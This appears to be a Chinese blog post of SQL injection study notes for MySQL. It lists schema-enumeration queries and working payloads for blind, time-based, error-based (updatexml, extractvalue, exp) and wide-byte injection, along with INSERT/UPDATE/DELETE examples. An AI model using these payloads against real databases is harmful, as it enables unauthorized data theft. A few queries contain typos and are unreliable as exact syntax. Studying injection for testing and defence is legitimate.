MySQL注入筆記

2021-07-30 17:42:03 字數 2682 閱讀 8424

mysql注入筆記

mysql基礎知識

information_schema //mysql自帶資料表

table_schema //資料庫名

table_name //表名

column_name //列名

select table_name information_schema.tables where table_schema=database(); //跑錶名

select column_name from information_schema.columns where table_name='admin'

//跑列名

select password from admin//跑資料

盲注

運用的一些函式

substr(version(),1,1); //擷取 第一位元組 開始 數的 第乙個位元組

if(1=1,sleep(5),1); 如果1=1 那麼sleep(5) 否則輸出1

ord('a') //acill 97

bool 盲注

形如 『=(bool)=』 ,and 『1』=』1』 , and 1=1

admin'=(select(substr((select(passwd)from(user))from(1)for(1)))=8)='1 //

時間盲注

形如 if(1=1,sleep(5),1)

if(ord((select substr(username,,1) from

user ))=50,sleep(3)

select table_name from information_schema.tables where table_schema=database()

select

if(ord(substr((select table_name from information_schema.tables where table_schema=database()),0,1))=117,sleep(5),1);

select

if(ord(substr((select username from

user limit 1),1,1))=108,sleep(5),1);

insert update delect注入引用

insert語句

insert

into users (id, username, password) values (2,''injecthere'','olivia');

insert

into users (id, username, password) values (2,""injecthere"",'olivia');

payload

or updatexml(1,concat(0x7e,(version())),0) or
insert

insert into users (id, username, password) values (2,'olivia'

or updatexml(1,concat(0x7e,(version())),0) or'', 'nervo');

update

update users set password='nicky'

or updatexml(2,concat(0x7e,(version())),0) or''where id=2

and username='olivia';

delete

delete from users where id=2

or updatexml(1,concat(0x7e,(version())),0) or'';

報錯注入(xpath,updatemal,exp)

xpath注入

0x7e表示的是「~」符號

+and+extractvalue(rand(),concat(0x7e,version()))-- //報錯回顯版本號
updatexml報錯注入

+and+updatexml(0x7e,concat(0x7e,(version())),0)--
exp報錯注入

and exp(~(select * from(select

user())a))

寬位元組注入

?id=-1

%df%27union

%20select

%201,user(),3--+

SQL注入之MySQL注入的學習筆記 一

本課程筆記均來自於y4er id變數通過get方式獲取並且直接拼接到sql語句中,而id引數使用者可控,造成注入 獲取字段數 查庫名 查表名 查列名 查資料 獲取字段數 order by 臨界值 獲取庫名 database 表名和列名沒有內建函式 怎麼查?union語句 將不同表的兩個列查詢的資料去...

mysql注入ctf CG CTF SQL注入

sql注入1 題目訪問題目 先檢視一下原始碼 仔細分析一下核心原始碼 if post user post pass 判斷結果集中的user引數對應的值是不是admin,如果是返回flag,不是則返回 you are not admin echo query user 回顯查詢到的user值 通過分析...

mysql 報錯注入語句 mysql注入

sql的注入型別有以下5種 boolean based blind sql injection 布林型注入 error based sql injection 報錯型注入 union query sql injection 可聯合查詢注入 stacked queries sql injection ...